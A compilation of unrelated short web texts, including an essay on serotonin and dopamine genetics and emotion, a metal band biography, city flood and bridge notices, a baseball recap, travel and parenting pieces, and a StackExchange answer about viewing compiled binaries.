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Scaredy Cats, Warriors and Worriers?
By remedianetwork / September 11, 2014 / Emotion / Leave a comment
By Claudia Wassmann
Differences in people's emotionality have an important impact both on how they react to events in their daily lives and how they feel about themselves. In the past ten years, research has illuminated that small variations in our genetic make-up can significantly alter how we see the world. Researchers have focused predominantly on the role of neurotransmitters in the brain (particularly serotonin and dopamine). These neurotransmitters are known to be involved in affective disorders, such as major depression and anxiety disorders, as well as cognitive and affective impairments from schizophrenia.
Neuroimaging techniques, such as functional MRI, along with analyses of an individual's genetics, reveal that variations in specific genes alter availability of these neurotransmitters in the brain, which affects basic cognitive function in healthy volunteers. Milestone studies such as Lesch et. al. (1996), showed in vitro (in cell cultures) that small differences in the gene that codes for the transporter protein of serotonin lead to differences in the effectiveness of this transporter protein.[1] In particular, a long allele variant of the gene leads to the production of a transporter protein that is almost twice as effective at carrying serotonin back into the brain cell, ending its action (neurotransmission), than the effectiveness of the protein that is coded for by the short allele variant of the same gene. Therefore, in the brains of those who carry the long allele, less serotonin is available at the synapse, compared to individuals who inherited the short allele variant for whom more serotonin is available for a longer period of time. Lesch combined these results with answers from conventional behavioral questionnaire studies. He found that people who carry the genetic variant which codes for the less effective transporter protein were more prone to anxiety disorders and depression.
Imaging genomics began in 2002 when a group of researchers at the NIMH used functional MRI to show this difference in the effectiveness of the serotonin transporter protein led to detectable differences in basic brain function in healthy volunteers.[2] It particularly affected the reactivity of the amygdala, a brain structure centrally involved in affective regulation. Hariri et.al. found that in the brains of people who carry the short allele, the amygdala in the right hemisphere (which deals with negative emotions) was more strongly activated in reaction to stimuli with negative connotations. In this study, two groups of participants looked at pictures of human faces with fearful, angry, and neutral expressions, and pictures of geometric forms (circles and vertical and horizontal ellipses) while undergoing a brain scan. Subjects were asked to look at the pictures for five seconds and decide which of two pictures shown at the bottom of a screen matched the picture on top. The brain scans suggested that unconscious processing of fear and threat-related information gave a different pattern of reactivity in the amygdala.
As well as how information is processed in the brain, activation of the amygdala also changes other physiological features such as heart rate, breathing and sweating, which are regulated by the autonomous nervous system and so beyond our conscious control. These bodily reactions then feed back into our psychological evaluations of a situation, affecting our judgements. The connectivity of the amygdala with other areas of the brain, such as the prefrontal cortex (important for cognitive control), are altered too when the amygdala is strongly activated, which makes it harder to shut down the amygdala activation voluntarily and focus on other things.
A longitudinal study followed in 2003 which demonstrated that people who carry the gene variant that codes for the less effective serotonin transporter are more susceptible to anxiety related behaviors and pathologies. They also tend to be less able to cope with stress. In particular, Caspi et.al. analyzed life histories of a group of 847 Caucasian 26-years-olds, who had been followed from 3 years old, through their childhood, adolescence and early adulthood. The study showed that people who carry the short allele variant were more likely to develop clinical depression in reaction to stressful negative life events, such as abuse or neglect during childhood, divorce, unemployment, and low socioeconomic status during their adult lives.[3]
These findings have great sociological resonance. Interpreting facial expressions is part of nearly every social situation, the visual information being only one aspect of the many kinds of information the brain takes in at an unconscious level of nervous processing. People who carry the short allele variant of the serotonin transporter protein also have a stronger startle response than individuals who carry the long allele, and one might say they tend to react like "scaredy cats."
As long as the demands on the brain are not excessive, short and long allele carriers perform similarly. But definitions of "excessive" differs between the two groups. What one person perceives as stressful might not be perceived in the same way by someone who carries the long allele variant because their brain is able to shut down the amygdala response more quickly.
But serotonin is not the only neurotransmitter the brain uses. Variations in genes which alter the availability of dopamine also affect complex aspects of our feelings, cognition and behavior. Dopamine has several functions and two mechanisms are implicated in the regulation of dopamine levels in the brain. The action of dopamine can be terminated by the enzyme COMT (the catechol-O-methyltransferase that ends dopamine signaling), and by transporting dopamine back into the cell through the dopamine transporter protein (DAT). Variations in the genes for COMT and for DAT alter the availability of dopamine in the prefrontal cortex and other brain areas involved in emotional processing. These variations directly affect the functions of the prefrontal cortex, such as working memory capacity.
The neurotransmitter dopamine is also involved in feelings of "reward" after the successful completion of a task and necessary for the execution of muscular movements. Its lack is for instance felt in Parkinson's disease. Dopamine is crucial "for determining neuronal signal-to-noise ratios" in prefrontal cortex.[5] That means it fine-tunes nervous activation. This allows us to keep our attention focused on the task we want to carry out and filter out other kinds of intruding sensory information and interfering thoughts which might hinder our performance.
Differences in availability of dopamine seem to lead to marked differences in intellectual performance. Optimal concentrations of dopamine – not too much or too little – are required for optimal working memory functioning. In particular, Bertolino et al. showed that the effects variants in the genes that code for the enzyme COMT and the transporter protein DAT add up. Individuals who carry two copies of the COMT "Met allele" (that is, who are homozygous for the "Met allele") and who are also homozygous for the dopamine transporter "DAT 10-repeat" have "the most focused response" in neuronal activity in the prefrontal cortex and working memory circuits.[6] They have a higher concentration of dopamine which is available for a longer period of time, allowing them to stay focused and needing less cognitive resources to perform the same tasks than do individuals who inherited the variant of the COMT gene that codes for the more efficient version of the COMT enzyme that clears dopamine more quickly from the synapse.[7] With more dopamine available in the "Met allele" carriers, the cells in the prefrontal cortex are better able to filter information from meaningless noise.
However, while people who carry the "Met allele" show better performance in working memory tasks and prefrontal cortex function, they also show greater excitability of the amygdala in reaction to emotional threats. Therefore, they are prone to "rumination" and "perseveration." As more dopamine becomes available in brain areas involved in emotional processing (in the limbic system, including the amygdala), the balance of dopamine in the prefrontal cortex and emotion processing areas of the brain is altered. The inhibitory input on the amygdala from the prefrontal cortex gets inhibited and the excitatory sensory input to the amygdala increases.[8] The individual "gets stuck" and is less able to shift away their attention and focus on other things.
While the popular press labels people "warriors" who seem poised, resistant to anxiety and not easily uprooted by challenges that occur in their daily life, in contrast to "worriers" who are more preoccupied with negative outcomes of their performance and less able to filter out intruding thoughts, this is only part of the picture.[9] The effects of several genetic variations combine and there are many more genes involved than the three examples presented in this article. Genetic variations in serotonin and dopamine represent two important examples of how these differences can play out in different affective behaviors. If some of us are more fearful than others, the effect of serotonin signaling on amygdala reactivity might help to explain part of this behavior. However, I do not support a return to reductionist genetic determinism which declares that genes encode behaviors. They don't. As the scientists who conducted the first genomic imaging studies pointed out, "Since this genetically driven effect exists in healthy subjects, it does not, in and of itself, predict dimensions of mood or temperament."[10] As long-term studies show, differences in amygdala reactivity yield overt behavioral differences and lead to increased anxiety and harm avoidance tendencies only in the context of negative life events. Therfore, the implications of small genetic variations, such as a short or long allele of the gene that codes for the serotonin transporter protein, are broad because they play out over the life cycle of a person when they interact with life experiences.
Claudia Wassmann has a Ph.D. in History of Science from the University of Chicago and an MD from the Free University of Berlin. She held a Knight Science Journalism Fellow at the Massachusetts Institute of Technology and conducted post-doctoral research as a Dewitt Stetten, Jr., Memorial Fellow in the History of Biomedical Sciences and Technology at the National Institutes of Health. She is also a science documentary filmmaker who has won numerous awards, and her current research is concerned with the history of the neurosciences, brain imaging and emotion.
Bertolino, Alessandro , Giuseppe Blasi, Valeria Latorre, Valeria Rubino, Antonio Rampino, Lorenzo Sinibaldi, Grazia Caforio, et al. "Additive Effects of Genetic Variation in Dopamine Regulating Genes on Working Memory Cortical Activity in Human Brain." The Journal of Neuroscience 26, no. 15 (2006): 3918 –22.
Bronson, Po, and Ashley Merryman. "Why Can Some Kids Handle Pressure While Others Fall Apart?". New York Times Magazine 10/02/2013 (2013).
Caspi, A, K Sugden, TE Moffitt, A Taylor, IW Craig, H Harrington, J McClay, et al. "Influence of Life Stress on Depression: Moderation by a Polymorphism in the 5-Htt Gene." [In English]. Science 301, no. 5631 (JUL 18 2003 2003): 386-89.
Hariri, A. R., E. M. Drabant, K. E. Munoz, B. S. Kolachana, V. S. Mattay, M. F. Egan, and D. R. Weinberger. "A Susceptibility Gene for Affective Disorders and the Response of the Human Amygdala." [In eng]. Arch Gen Psychiatry 62, no. 2 (Feb 2005): 146-52.
Hariri, A. R., V. S. Mattay, A. Tessitore, B. Kolachana, F. Fera, D. Goldman, M. F. Egan, and D. R. Weinberger. "Serotonin Transporter Genetic Variation and the Response of the Human Amygdala." [In eng]. Science 297, no. 5580 (Jul 19 2002): 400-3.
Hariri, Ahmad R. "The What, Where, and When of Catechol-O-Methyltransferase." Biological Psychiatry 70 (2011): 214-15.
Lesch, KP, D Bengel, A Heils, SZ Sabol, BD Greenberg, S Petri, J Benjamin, et al. "Association of Anxiety-Related Traits with a Polymorphism in the Serotonin Transporter Gene Regulatory Region." [In English]. Science 274, no. 5292 (NOV 29 1996 1996): 1527-31.
[1] KP Lesch et al., "Association of Anxiety-Related Traits with a Polymorphism in the Serotonin Transporter Gene Regulatory Region," Science 274, no. 5292 (1996).
[2] A. R. Hariri et al., "Serotonin Transporter Genetic Variation and the Response of the Human Amygdala," ibid.297, no. 5580 (2002).
[3] A Caspi et al., "Influence of Life Stress on Depression: Moderation by a Polymorphism in the 5-Htt Gene," ibid.301, no. 5631 (2003).
[4] A. R. Hariri et al., "A Susceptibility Gene for Affective Disorders and the Response of the Human Amygdala," Arch Gen Psychiatry 62, no. 2 (2005)., p. 147.
[5] Alessandro Bertolino et al., "Additive Effects of Genetic Variation in Dopamine Regulating Genes on Working Memory Cortical Activity in Human Brain," The Journal of Neuroscience 26, no. 15 (2006).
[6] Bertolino et al., "Additive Effects of Genetic Variation in Dopamine Regulating Genes on Working Memory Cortical Activity in Human Brain.", p. 3921.
[7] The alleles of the gene contain the amino acid Valine rather than Methionine (158Val/Val).
[8] Ahmad R. Hariri, "The What, Where, and When of Catechol-O-Methyltransferase," Biological Psychiatry 70 (2011).
[9] Po Bronson and Ashley Merryman, "Why Can Some Kids Handle Pressure While Others Fall Apart?," New York Times Magazine 10/02/2013 (2013).
[10] Hariri et al., "A Susceptibility Gene for Affective Disorders and the Response of the Human Amygdala.", p. 146.
Tags: #dopmaine, #historyofpsychiatry, #MRI, #neurotransmitters, #serotonin


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S.M.Q.
Epica Within Temptation Nightwish Rata Blanca
Metal/Punk: Neo-Classical Metal World: World Fusion Moods: Type: Lyrical
by Ivana d'Arc
© Copyright - Ivana Horbatenko/ Israel Mendoza / Ivana d'Arc (884501272964)
Female-fronted power metal band with Symphonic/Gothic overtones and a European influence, originated between Argentina/Mexico/U.S. Lyrics are both in Spanish and English and the voice mastered into a soprano and rock style. Outrageous!
Genre: Metal/Punk: Neo-Classical Metal
1. Nox Noctis (intro)
2. Un Blanco Cisne
3. Bienvenido a tu Eden
4. Mensajeros de la Paz
5. El Alquimista
6. La Rosa en el Pantano
7. Sacrilegio
8. S.M.Q. (intro)
9. Symphony Metal Queen
10. Demonios
11. Angel de la Muerte
12. Lobo
Ivana d'Arc is a female-fronted power metal band founded by vocalist Ivana Horbatenko.
Ivana was born in Banfield, Buenos Aires, Argentina. At a young age, Ivana's ukranian/russian inmigrants family used to take her to the russian orthodox church in Temperley, Buenos Aires, where she first felt attraction to the choir music after seeing her godmother Ludmila Briansky, a famous local piano concertist who was a teacher in the Music Conservatory of Banfield, directing the Church Choir.
In 1989, Ivana's father, who loved the idea of having a family member interested in music, took her to the U.S.
In Chicago Ivana joined the Mrs. Jlubicic's Schurz Vocal Majors with a friend. That year the group won the State Contest. She really enjoyed classical music but returned to her homeland, Argentina, where she became a law student at UNLZ for five years.
Because Ivana never forgot about her other passion, she was almost a lawyer when returning the second time to the U.S. winning some awards and recognitions as female singer and song writer.
She was part of Chicago's local Rock en Español scene and had an independent video for the song "Esperandote" playing on MTV since 2000 and air play, while also representing the only one rock magazine in Spanish Rock Clandestino from NY/NJ for the Chicago area during the periods 2000-2003, helping independent bands to get exposure to the music industry.
In the year 2007 Ivana Horbatenko became one of the persons responsible for bringing to Chicago the last and Good-bye tour of the legendary argentine and international honored singer Mercedes Sosa.
Back in the year 2002 Ivana met guitarist and writer Israel Mendoza who joined her band. He became the other leader by showing his amazing musician and producer skills.
Israel was born in Mexico City and showed his passion for rock at an early age when he first picked up an old guitar and asked his uncles to teach him how to play.
Israel was influenced by the usual metal bands everybody likes: Ozzy Osbourne, Metallica and Pantera, among others.
When he met Ivana he was an enthusiastic young man who wanted to create and share his music with the world.
They both directed the band's steps and changed its course when going from a rock/pop style to the Neo-classical symphonic power metal.
Vocalist Ivana Horbatenko sings in both languages, Spanish, her mother tongue and English, representing the country that adopted her, the United States of America. Her voice is mastered into a soprano and rock style, while Israel adds his powerful guitar riffs and orchestral arrangements. They are also proud to show they are big fans of Nightwish since they started with singer Tarja Turunen.
By the end of 2008, Miguel Garcia, dedicated drummer who played for Monospit, helped in their project. They were about to enter the studio to show everything they were creating and keeping from the public's ears.
The Album:
Finally in February of 2010, they have their new release and they named it S.M.Q. after their song Symphony Metal Queen!
This album really has a variety of flavors, a powerful beat, and the fantastic tales are splashed all over the songs!

redpajama_set_name: RedPajamaCommonCrawl


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Ingredients: Propylene Glycol, Vegetable Glycerin, Flavouring, Nicotine , may contain traces of nuts.
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SYNONYM

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
null

#### Original name
Anthurus muellerianus f. aseroëformis E. Fisch., 1890

### Remarks
null

redpajama_set_name: RedPajamaGithub


As the water rises, some streets and bridges will be closed. You can view a map of current street closures to plan your routes.
You can also receive emails about road closures during the flood and throughout the year by signing up for our Service Alerts e-Notification category.
The City of Moorhead continues to monitor National Weather Service flood forecasts and is implementing flood protection protocols. The temperatures and amount of precipitation received in the upcoming days and weeks will affect future flood forecasts. The City remains vigilant and will conduct additional public outreach as more precise information is known.
Mapping tool: Some private properties on the riverfront could be affected. Check your property at various river stages using our flood mapping tool. Zoom in to view potential impact areas specific to your property.
To ensure you receive important updates, please sign up for eNotification or verify that your current subscription includes the category Service Alerts.
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Moorhead has established four "Flood Zones" for neighborhoods near the river. Each Zone has a Zone Leader who will be the primary point of contact for property owners within the Zone who may need technical advice or assistance while protecting their properties.
The Oakport neighborhood was annexed to the City of Moorhead in 2015. Much of the Oakport neighborhood is protected by a flood control project completed by the Buffalo Red River Watershed District. The City of Moorhead is working on a flood protection project for the balance of the area, but that project is not yet complete. Oakport is our neighborhood now, and we want residents to know that our staff is working to support this Moorhead neighborhood. We will provide sandbags to these property owners. More information to come.
We know commutes between Moorhead and Fargo are longer and activities are impacted due to the spring flood. We will reopen transportation routes to traffic as soon as possible.
Commuters are facing the potential for a high level of traffic congestion with flood impacts still affecting bridges and streets near the river and the start of the 2019 construction season downtown.
The National Weather Service has issued a notice that heavy, wet snow will fall across the region with the heaviest amounts focused on the southern and southeastern Red River Valley beginning Wednesday night into Friday.


Surprise! It's a puppy! Or 3, 4 or 5! Find out how many pups Mum has when you open her pouch and reach inside. Little girls love the exciting experience of discovering their very own litter of puppies!
NEW: Bunny Surprize! It's a dream come true when you discover that Mum has had baby bunnies!


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What employee rights do janitorial workers get in California?
On behalf of San Diego Employment Law Group | Aug 3, 2016 | Employee Rights
Janitorial work is an integral job in California that gives people a way to earn a sound living. In some instances, however, these workers are confronted with a denial of benefits and other reasons to file employment claims. Protected under the Division of Labor Standards Enforcement (DLSE), these workers can file a complaint even if they are undocumented.
Janitorial workers are supposed to receive the minimum wage. In general, this will be paid twice per month. These workers are entitled to have a rest period of 10 minutes for every four hours worked or a commensurate fraction. If this is not provided, the employer must give the worker an extra hour of regular hourly pay for every workday in which there is no rest given. There is the right to a meal break of a minimum of 30 minutes if the worker is on the job for more than five hours. The worker is required to be relieved of duty while on meal break. If not, there must be an additional hour of pay given.
A janitorial worker who suffers an injury on the job has the right to pursue workers' compensation. The worker has to be given the required tools, supplies and a uniform to perform the job. Workers have the right to get a wage statement or pay stub when wages are paid. This is true whether the pay is given in cash or by check. There must also be information provided as to when the paydays are scheduled. Employees must be classified accurately. The DLSE has had instances in which there has been improper classification, and it is often a reason for a denial of employee benefits.
If the worker is terminated or quits, he or she has the right to be paid within 72 hours. If this is not done, the employer might have to pay one day's salary for every day of the delay. A worker can file a wage claim or other complaint for employer wrongdoing even if he or she is undocumented. If a janitorial worker has reason for an employment claim, a failure to pay benefits or any other violation of employee rights, he or she needs to know how to pursue what he or she are entitled to as well as any compensation that might be due.
Source: dir.ca.gov, "In California Janitorial Workers Have Rights," accessed on Aug. 1, 2016
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South Korea dialled down the volume on Thursday as hundreds of thousands of students sat a crucial national university entrance exam, with authorities taking extraordinary measures to minimise possible distractions.
The college entrance test is the culmination of South Korea's highly demanding school system, and in an ultra-competitive society it plays a large part in defining students' adult lives, holding the key to top universities, elevated social status, good jobs, and even marriage prospects.
This year nearly 595,000 students were sitting the gruelling exam, which stretches over nine hours, according to the education ministry.
South Korean President Moon Jae-in, who was in Singapore for regional summits, posted a good luck message to the students on his Facebook page.
An annual hush descended upon South Korea as hundreds of thousands of students sat the crucial national college entrance exam, delayed for a week by a rare earthquake.
In South Korea's ultra-competitive society, the college entrance test plays a large part in defining students' adult lives, holding the key to top universities, an elevated social status, good jobs, and even marriage prospects.
More than 200 buses were on standby to take students in Pohang to 12 alternative exam sites in case the city is jolted during the test.
Extraordinary measures are taken in South Korea to ensure nothing disturbs students.
Outside test centres in Seoul, junior students waved banners and chanted encouragement as candidates entered exam rooms.
More than 593,000 students are sitting the exam this year, down 2.1 per cent from a year earlier.
Public offices, major businesses and the stock market opened an hour later than usual to help ease traffic and ensure students arrived on time for the exam, which began nationwide at 8:40 am (2340 GMT).
Electronics are strictly forbidden and students cannot leave school premises until the test ends to reduce the chances of cheating.
But they will be allowed to wear masks during the exam this year, the education ministry said, with fine dust pollution levels persisting at "bad" on the peninsula.
The results of the daunting exam will be released on December 5.


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Jackson Strange's Home Run Propels Trojans to Doubleheader Split with Tusculum
Tusculum (26-15, 13-5) 0 0 0 1 2 0 0 3 6 1
Anderson (S.C.) (13-25, 4-14) 0 0 2 1 0 1 X 4 5 2
Tusculum (26-14, 13-4) 0 0 1 1 2 2 3 0 0 9 12 4
2B: Cody Adams; Joseph Strange
HR: Jackson Strange
2B: Daulton Martin; Nate Montgomery; Wes Reynolds
HR: Seth DeHaven
3B: Matthew Overton
ANDERSON, S.C. – Senior Jackson Strange's leadoff home run in the bottom of the sixth inning proved to be the difference in the nightcap, as the Anderson baseball team earned a hard-fought split of a South Atlantic Conference doubleheader with Tusculum, Saturday afternoon at Memorial Stadium.
Anderson moved to 13-25 overall and 4-14 in conference action with the split, while Tusculum slipped to 26-15 and 13-5.
Game #1
Tusculum 9, Anderson 3
Sophomore Will O'Brien was 2-for-4 in the opener, with two singles and also reached on a first-inning walk. Junior Cody Adams added a pair of singles and junior Matthew Overton drove in two runs with a first-inning triple.
Senior Will Gee (2-6) took the loss after allowing six runs on six hits in six innings of work. The right-hander fanned four Pioneers and issued three free passes.
Anderson 4, Tusculum 3
Jackson Strange's lone hit of the nightcap loomed large, while Adams was 1-for-3, with an RBI-double and also reached on a walk. Sophomore Chandler Castleberry added a single and a walk in three trips to the plate, with Joseph Strange notching a double and a walk.
Starting pitcher Austin Todd limited the Pioneers to three runs on five hits in five innings on the mound, while equaling a season-high with five strikeouts. Junior right-hander Christian Carpenter (1-1) earned the win with two innings of relief. He allowed one hit and struck out two batters.
Overton's two-out, two-run triple in the bottom of the first inning gave the Trojans a quick 2-0 advantage, but Tusculum countered with solo runs in the third and fourth innings, while posting two runs in each of the fifth and sixth frames.
AU got a run back in the bottom of the sixth by taking advantage of back-to-back singles from Jackson Strange and Adams to lead off the home half of the inning and Strange crossed the plate when O'Brien reached on an error.
The Pioneers closed out the scoring and built a 9-3 cushion with three runs in the top of the seventh.
After a scoreless opening two innings, the Trojans struck first by posting two runs in the bottom of the third inning. Adams led off with a walk, moved into scoring position on Will Lindsey's sacrifice bunt and went to third on a wild pitch. Following a walk to Castleberry, he scored when Brandon Odachowski bounced out to the right side and Castleberry crossed the plate when Overton reached on an error.
Tusculum cut the Trojans' lead in half with a run in the top of the fourth, but Adams answered for AU with an RBI-double that brought home Jacob Kohns and increased its lead to 3-1.
The Pioneers evened the score with a pair of runs in the top of the fifth, with Jackson Strange's second homer of the year – a solo shot well beyond the fence in left in the bottom of the sixth frame – providing the final margin.
• Brandon Odachowski stretched his hitting streak to four games.
The Trojans will get back on the diamond Tuesday, when longtime rival Erskine invades Memorial Stadium for the second time this season. First-pitch versus the Flying Fleet is scheduled for 6 p.m.


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Build a deeper understanding on optimization of effort, reinforcement of activities and building basic consistency.
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Construction is scheduled to start Tuesday on the $5.9 million project to rehabilitate the bridge that carries the Inner Loop over the Genesee River and Brown's Raceway.
"This section of the Inner Loop is a busy and vital link in Rochester's transportation network and this project will ensure continued safety in the High Falls district," state Department of Transportation Commissioner Joan McDonald said in a statement.
The project includes replacing the top layer of the bridge roadway surface to extend the life of the structural deck, as well as repairs to steel beams, concrete piers and bearings. Minor sidewalk repairs, curb improvements and replacement of the existing concrete median barrier are also included in the project.
Some 31,000 vehicles cross the bridge—located between the State Street and St. Paul Street exits—every day.
On Tuesday, the entrance from State Street to the Inner Loop eastbound will be closed daily from 9 a.m. to 3 p.m. In mid-June, the St. Paul Street entrance ramp to the Inner Loop westbound will close for roughly a month. One lane in each direction will be maintained.
"Keeping in mind Gov. Andrew Cuomo's goal of minimizing impacts to the traveling public, we will be limited the most disruptive Inner Loop closures to weekends, when traffic volume is the lowest," McDonald said.


Overeating and the holidays seem to go hand in hand. Each year, as part of GERD Awareness Week (Nov 22-28, 2015), the International Foundation for Functional Gastrointestinal Disorders (IFFGD) offers tips for managing GERD symptoms over the holidays. These tips include eating earlier, eating smaller meals, avoiding deep fried turkey, limiting alcohol, and drinking water over soda.
In addition to these mostly meal-related tips, sleep positioning can also be an effective lifestyle modification that can effectively treat GERD and the unwanted effects of overeating. Two sleep positions – sleeping at an incline and sleeping on one's left side – have been proven to be effective. A recent clinical study conducted by Cleveland Clinic combined these two positions, utilizing the MedCline™ positional therapy device, and found that the compounding benefits of sleeping at an incline and on one's side resulted in a 72% reduction in nocturnal GERD symptoms scores.
Sleep positioning is an easy to implement lifestyle modification that can help ease the symptoms for those suffering with GERD and as an on-demand solution for those of us who have an extra helping or two over the holidays.


ABOVE: The sommelier prepares to serve a bottle of wine at lunch. INSET BELOW: The Savoy Restaurant, the omelette station at breakfast, lunchtime sweets, a main course at dinner, and an evening dessert.
The main dining room on River Countess is the Savoy Restaurant on Marco Polo Deck (the ship's main deck), aft and down a hallway of cabins from Reception. The restaurant has an "open seating" policy, and guests can dine alone, à deux, or at larger tables with other passengers. On the first night of our cruise, we shared a table with two women who were traveling together, and we ended up dining with them every night but one.
Early-morning coffee and pastries are available in the Patio Lounge from 6 to 7 a.m., and late sleepers can enjoy a late breakfast in the main Castillo Lounge from 9 to 10 a.m.
On days when most guests are aboard, you can get excellent lunchtime pizza by the slice, salads, prosciutto, and desserts in the glassed-walled Osteria Siena on the Sun Deck.
Dinner is served by waiters in the main restaurant, with a different four-course menu each night. Main courses normally include several Venetian- or Italian-inspired dishes and at least one vegetarian option.
Main-course photo: Whole-roasted beef tenderloin with jumbo shrimp, cauliflower, mashed potatoes, asparagus tips, crimini mushrooms, vegetable parisienne, and local baby tomatoes confits with béarnaise sauce.
If you aren't tempted by the day's menu, you can ask for steak, salmon, or chicken breast with a choice of side dishes.
Dinnertime desserts on River Countess are as beautiful as they are tasty, and choosing just one can be a challenge. Dessert photo at right:Valrhona warm molten chocolate cake with homemade red berry sorbet.
If you prefer cheese to sweets--or if you want both--you can end your meal with a selection of three Italian cheeses.
Tea time is from 4 to 5 p.m., with sandwiches and pastries plus tea, coffee, or drinks from the bar.
The main Castillo Lounge on Marco Polo Deck is a large room with panoramic windows, upholstered chairs, tables, and a bar.
As you enter the lounge, you'll pass a serving counter that offers a late breakfast, Uniworld's signature candies and marshmallows, teatime tidbits, etc., depending on the time of day.
Bar and mealtime drinks are included in the fare, except for a few "premium spirits." We suggest trying a Spritz--shown at right--which is a popular Venetian drink made with Prosecco sparkling wine, a dash of Aperol liqueur, and soda water.
In the evening, a staff musician entertains passengers in the Castillo Lounge.
One night during the cruise, local entertainers come on board for an after-dinner show.
The Captain's Lounge and Library is a small, quiet room just behind the Castillo Lounge on the starboard side of the ship. In addition to books and magazines, it has printed copies of daily mini-newspapers that the ship downloads from a news service.
One flight down, on Bellini Deck, you'll find the small Patio Lounge with its 24-hour coffee, tea, hot-chocolate, and cookie station.
Finally, the glass-enclosed Osteria Siena on the Sun Deck becomes the Sky Lounge when lunch isn't being served. It's a pleasant place to sit, chat, or read away from the crowd.


I missed most of the April Fools Day pranks this year due to it being a week day and me being at work. I was particularly disappointed not to receive an email from Pizza Hut this year who have had some excellent pranks in previous years.
Last but not least... the incomparable Google - who probably had loads of silliness but I only noticed one... the sudden desire to measure search times in all sorts of weird and wonderful units. I was even more confused as I'd landed on Google.com and it was gone mid-day!


The Healthcare Planning and Marketing Society of New Jersey (HPMSNJ), is the local chapter of the Society for Healthcare Strategy and Market Development (SHSMD). Started in 1979, HPMSNJ serves healthcare planning, marketing and public relations professionals in New Jersey and surrounding states.
We seek to make a difference in healthcare. Our membership organizations are from several states, from various sub-sector healthcare organizations and our individual members are from all ranks and title. We are also very proud of our growing student population. For more information on becoming a member, please visit our Membership Section.
In addition, HPMSNJ offers sponsorship opportunities. Thanks to our dedicated sponsors at the Gold and Silver levels, we are able to continue to offer increasing benefits to members and provide nationally known speakers and educational programs. For more information on becoming a sponsor, please visit the Sponsorship Section of this site!
We are looking for members to become involved in the society. If you want to become more active, meet more people in our industry and be a part of our committees, please contact our President, Mike Slusarz mslusarz@caperegional.com or reach out to HPMSNJ directly by emailing: hpmsnj@njha.com.


The SPIN Series was created to demonstrate the techniques I wrote about in the SPIN books. After I finished making videos inspired by the books, I went rouge and starting filming loads of different projects!
That was almost 4 years ago.
The SPIN Series Community grew into a beautiful supportive force through the SPIN Patreon family. The voice over version of each episode is now available exclusively to Patrons.
The SPIN Series Patreon Family is a big equal opportunity love festival. All Patrons, no matter their pledge level, gains access the videos.
The music only version of the videos, and early episodes, are available for FREE on Youtube forever.


Earned the Cheers to Independent U.S. Craft Breweries (Level 19) badge! Earned the 99 Bottles (Level 2) badge!
Earned the Local Flavor badge! Earned the Hopped Down badge! Earned the Land of the Free (Level 2) badge!
Earned the Draft City (Level 4) badge! Earned the Fruits of Your Labor (Level 2) badge!
Earned the Cheers to Independent U.S. Craft Breweries (Level 11) badge! Earned the Fruits of Your Labor (Level 6) badge!
Earned the Riding Steady (Level 28) badge! Earned the Brewery Pioneer (Level 31) badge! Earned the Wheel of Styles (Level 14) badge!
Amber B.: I had this the last night in NY... was delish!
Earned the Hopped Down (Level 5) badge! Earned the Fruits of Your Labor (Level 2) badge! Earned the Land of the Free (Level 50) badge!
Strong but perfectly balanced blueberry & wheat flavors.
Earned the Draft City (Level 4) badge! Earned the Ye Olde Pub (Level 2) badge!


The presentation will begin at 700 p.m.
What schools are in the MSMC?
Why was the MSMC created?
programs are now locally funded through MCPS.
the boundary areas of those schools.
What is unique about MSMC schools?
InnovationInvent the Future With Us!
theatre, visual art, digital arts and film.
problem solving are part of instruction.
they conduct authentic research in astronomy.
Technology What do the students DO?
Students work on their yearly Milestone Projects.
What is the Choice Process?
What is the Choice Process Timeline?
How will families receive the Choice form?
What does the Choice form look like?
Out-of-Consortium Return to DCCAPS office.
F A Q s ?
Clemente, Eastern and Takoma Park?
Note A student may apply to application programs AND participate in the lottery. Note A student may apply to application programs AND participate in the lottery.
attendance area guaranteed a seat?
seat at one of the three schools.
assign students to their first choice.
outside of the MSMC attendance area?
opportunities for high school credit.
When are the MSMC Fall 2013 Open Houses?
child(ren) are encouraged to attend all three.
Parkland Questions about the Choice Process?
Thank you for attending this presentation.
boxes by the door as you leave.
The PowerPoint PPT presentation: "MSMC" is the property of its rightful owner.


Watch One Piece Season 20 Episode 3 Online. Best and Free Online streaming for One Piece TV Show. We picked the best sites to stream s20e03. Simply pick a site below and click "Watch Now!" button next to it. Some of the links may be broken, please upvote the working and good links so other users see those links for One Piece Season 20 Episode 3 s20e03 at the top of the list.


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Q: When I compile a program and cat on it, why don't I see 0's and 1's The question is simple: When I compile a program and cat on it, why don't I see 0's and 1's?

A: Because even though the code is compiled in to "binary code", cat just dumps out characters, which are 8-bit bytes.
If you used, for example, something like od -x you'd see the program represented as hexadecimal numbers, which is the most common representation today for "binary" data.

A: Computers don't understand what you have typed on the source code file ( The file that you have compiled is called source code). You have to translate all you have typed into the source code into a format that computers can understand ( The language of the computer is known as machine code). Compilation is a translation process, which translate your source code into machine code. you are actually cat the machine code file, which is not a text file instead it is a binary file. we can not open a binary file using cat command.

redpajama_set_name: RedPajamaStackExchange


How Can You Help A Child Stop Interrupting?
I remember just a few years ago, trying to have a conversation on the phone with a friend. All I could hear was "BLUE CRAYON MAMA! BLUE CRAYON!" My little one was just 22 months old and excited to have figured out the color blue.
I really wanted to finish the conversation with my friend.
Although interrupting can be perfectly normal behavior for young children it is possible to help children develop patience and polite ways to join a conversation.
Why do children interrupt adults anyways?
Mostly children interrupt to share information they deem interesting or relevant.
Children 6 years and beyond might see a different side of an argument, have a different perspective or a great story.
Children interrupt because either they are too young, impulsive OR they don't have any tools for respectfully interrupting.
Another key reason for interrupting is that some children don't have skills or a set plan for how to wait.
It's a great idea to introduce turn taking and respectful communication, from babyhood and beyond. One of the easiest ways to do this is to model what we wish to see and use the language we wish to hear.
Let a baby know that you will be picking them up instead of swooping in and doing it as a surprise.
Explain to a toddler that play time is almost over instead of insisting they finish when you say so.
Welcome children to share and finish their thoughts, stories and ideas without interrupting to correct, console or fix.
Back when my little blue crayon guy interrupted a lot I started holding his hand gently as a signal to him that I "saw him" but wasn't ready to listen yet. Over time we have been able to stretch that waiting time well beyond a minute. Now that my kids are much older and in elementary school, we have two signals. One for short waits and one for letting them know it's going to be a while. In that case, they know to go play and come back later.
Extending a hand for holding, a special nod or some other little signal can be really helpful, especially if it is practiced or talked about ahead of time.
Sometimes it's inevitable to interrupt, when we interrupt another adult we tend to say "excuse me", "pardon me" or "is this a good time". It's helpful to use the same respectful language when interrupting a child so they can learn to do the same.
*Excuse me, I see you are playing, it's almost time to go.
*Looks like you are having a lot of fun, I need to interrupt you and help you clean up so we can get to bed.
